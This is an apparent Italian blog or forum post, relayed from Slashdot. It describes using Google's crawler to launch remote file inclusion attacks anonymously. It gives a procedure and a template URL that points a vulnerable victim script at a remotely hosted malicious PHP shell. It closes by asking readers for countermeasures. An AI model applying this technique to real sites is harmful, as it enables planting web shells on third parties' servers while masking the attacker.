Attacchi RFI anonimi con Google

Google può essere utilizzato per hackerare i siti web con attacchi di tipo RFI (Remote File Insert).

Inserendo un URL in una qualsiasi pagina web, Google la troverà, la visiterà e la indicizzerà. Con questo meccanismo è possibile anonimizzare gli attacchi ad altri siti web sfruttando direttamente il crawler di Google.

La procedura:
Costruire una pagina web maligna che contenga un URL così strutturato:
1) Url del sito da attaccare
2) File di exploit da includere
3) Secondo URL contenente una shell PHP maligna

Esempio:
http://sito-vittima/RFI-exploit?http://sito-con-codice-maligno.php

Google raccoglierà questo URL, visiterà il sito utilizzando il suo crawler e lo indicizzerà.

Questo significa accedere al sito obiettivo dell’attacco con l’URL che ci è stato fornito ed ed accedervi senza che il proprietario del sito possa accorgersene.

Praticamente, invece di costruire un botnet creato ad hoc, un attaccante potrebbe sfruttare il crawler di Google, accettato dalla maggior parte dei siti web?

Note:
1. L’attacco è stato verificato con Google, ma non c’è ragione per cui non dovrebbe funzionare anche con altri motori di ricerca, web crawlers e web spiders.
2. La tecnica del File inclusion si adatta perfettamente con questo tipo di attacco anonimo, ma altri tipi di attacco possono essere utilizzati con questa tecnica.
3. Questa funzionalità può essere anche utilizzata per anonimizzare le comunicazioni, come se si trattasse di un canale protetto.

Questo hack l’ho letto via Slashdot, qualcuno conosce soluzioni?